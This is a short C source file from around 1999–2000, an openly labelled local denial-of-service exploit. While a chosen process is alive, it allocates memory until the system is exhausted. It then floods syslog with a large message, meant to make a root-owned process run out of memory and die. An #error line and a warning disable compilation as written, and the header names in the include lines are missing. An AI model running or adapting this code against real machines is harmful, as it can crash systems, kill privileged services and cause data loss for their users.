/* * Copyright (C) 1999/2000 Stealth. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by Stealth. * 4. The name Stealth may not be used to endorse or promote * products derived from this software without specific prior written * permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include #include #include #include #error /*** !!! DANGER !!! *** This program may crash your whole system, causing damage of any kind, *** even data-loss. So be sure what you do. ***/ int main(int argc, char **argv) { char foo[1000]; char bigmsg[10000]; char *s, *hold_s; int i = 0; memset(bigmsg, 'X', sizeof(bigmsg)-1); if (argc < 2) { printf("usage: %s \n", argv[0]); exit(1); } #if 0 fork(); #endif memset(foo, 0, sizeof(foo)); snprintf(foo, sizeof(foo), "/proc/%s/stat", argv[1]); /* check whether process is still alive */ while (access(foo, F_OK) == 0) { s = malloc(10000); if (s == NULL) { if (hold_s) free(hold_s); /* if (s) s[i%10000] = 0; */ printf("crashing ... \n"); /* force a root-process to require some memory, so maybe * he dies before we die. :) */ openlog("b00m", 0, 0); syslog(1, bigmsg); closelog(); } printf("%d\r", i++); fflush(stdout); hold_s = s; } return 0; }